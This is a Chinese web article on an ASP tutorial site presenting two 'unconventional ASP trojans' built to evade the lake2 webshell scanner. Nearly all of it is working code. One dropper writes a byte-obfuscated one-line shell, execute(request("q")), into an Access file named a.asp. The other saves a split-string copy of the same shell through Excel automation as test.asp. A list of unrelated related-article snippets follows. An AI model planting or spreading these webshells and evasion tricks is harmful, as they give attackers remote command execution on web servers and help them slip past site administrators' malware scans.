两个非常规ASP木马(可躲过扫描)
来源：asp之家 发布时间：2011-03-11 10:38:00
hanxiaolian
为了躲避 lake2 ASP站长管理助手而写..
一.绕过lake2 Asp木马扫描的小马
代码如下:
<％
set c = CreateObject("ADOX.Catalog")
c.create("Provider=Microsoft.Jet.OLEDB.4.0;Data Source="&Server.MapPath("a.asp"))
set c = Nothing
c&Server.MapPath("a.asp")
set conn=server.createobject("Adodb.Connection")
conn.open connstr
conn.execute("create table nomm(nomuma oleobject)")
set rs=server.createobject("adodb.recordset")
sql="SELECT * FROM nomm"
rs.open sql,conn,1,3
rs.addnew
rs ("nomuma").appendchunk(chrB(asc("<"))&chrB(asc("％"))&chrB(asc ("e"))&chrB
(asc("x"))&chrB(asc("e"))&chrB(asc("c"))&chrB(asc ("u"))&chrB(asc("t"))&chrB(asc
("e"))&chrB(asc("+"))&chrB(asc ("r"))&chrB(asc("e"))&chrB(asc("q"))&chrB(asc
("u"))&chrB(asc ("e"))&chrB(asc("s"))&chrB(asc("t"))&chrB(asc("("))&chrB(34)
&chrB(asc("q"))&chrB(34)&chrB(asc(")"))&chrB(asc("％"))& chrB(asc(">")))
rs.update
rs.close
set rs=nothing
conn.close
set conn=nothing
％>
二.xls版asp webshell
代码如下:
<％
Set xlA = Server.CreateObject("Excel.Application")
xlA.Visible = False
xlA.Workbooks.Add
Set xlWorksheet = xlA.Worksheets(1)
xlWorksheet.Cells(1,1).Value = "<％ex"&"ec"&"ute(request(""q""))"+chr(37)+">"
'strFile = "d:/test.asp"
strFile = Server.MapPath("test.asp")
xlWorkSheet.SaveAs strFile
xlA.Quit
Set xlWorksheet = Nothing
Set xlA = Nothing
％>
0
投稿猜你喜欢
SQLServer错误5120：先用widows用户登录附加再分离重新用sa附加就行了 不行的话，绝招：你先用SQLServer- Python使用pandas导入xlsx格式的excel文件内容1. 基本导入在 Python中使用pandas导入.xlsx文件的方法是r
- 时间序列预测时间序列是按照时间顺序排列的数据集合，在很多应用中都非常常见。时间序列分析是对这些数据进行分析和预测的过程。时间序列预测是该分析
- 本文实例讲述了ThinkPHP框架实现用户信息查询更新及删除功能。分享给大家供大家参考，具体如下：一 代码1、配置文件<?phpret
- 第一阶段：从官网下载Anaconda之后，安装，一切正常。打开Anaconda navigator，提示我是否更新，要选不要更新。点击spy
- DECLARE @LocalDate DATETIME, @UTCDate DATETIME, @LocalDate2 DATETIME S
- HttpRequest.FILES表单上传的文件对象存储在类字典对象request.FILES中，表单格式需为multipart/form-
- Python基础环境搭建CENTOS 6.X 系列默认安装的 Python 2.6 ，目前开发中主要是使用 Python 2.7 ，这两个版
- 前言：group by函数后取到的是分组中的第一条数据，但是我们有时候需要取出各分组的最新一条，该怎么实现呢？本文提供两种实现方式。一、准备
- 最近在写博客，刚好写到用户注册注销模块，觉得这一方面还是挺有趣的。当尝试掀开 Django 的源代码时一切 API 就不会变得那么摸不着。顺
- 学一门新技术或者新语言，我们都要首先学会如何去适应这们新技术，其中在适应过程中，我们必须得学习如何调试程序并打出相应的log信息来，正所谓“
- 数学函数 1.绝对值 S:select abs(-1) value O:select abs(-1) value from dual 2.取
- 目录事件类型事件处理方法处理键盘事件处理鼠标事件事件（Event）是 Pygame 的重要模块之一，它是构建整个游戏程序的核心，比如鼠标点击
- Python实现图像处理：PiL依赖库的应用本文包含的练习题主要是PIL依赖库，即pillow相关的应用。练习一：使用python给图片增加
- 问题描述我在flask程序中，启动了另一个python程序-test.py：os.system('nohup python /opt
- 函数嵌套，这个名字有点纠结，也许不太好理解。一个比较常见的函数嵌套特例：递归函数，即函数自己嵌套自己。 一直以为在PHP中不能有太多的函数嵌
- 刚开始学python，记录下问题。代码如下：#coding:utf-8import re,urllib2def getHTML(url):
- 请看下面的操作图解。1.使用Sql Server Management Studio 2008 连接数据库。2.选中要导出数据的数据库节点，
- 一.环境变量右键我的电脑–>>属性–>>高级系统设置–&
- 前言我们在工作中的时候，会有这种需求：用户上传一个格式固定excel表格到网站上，然后程序负债解析内容并进行处理。我最近在工作中就遇到了，所
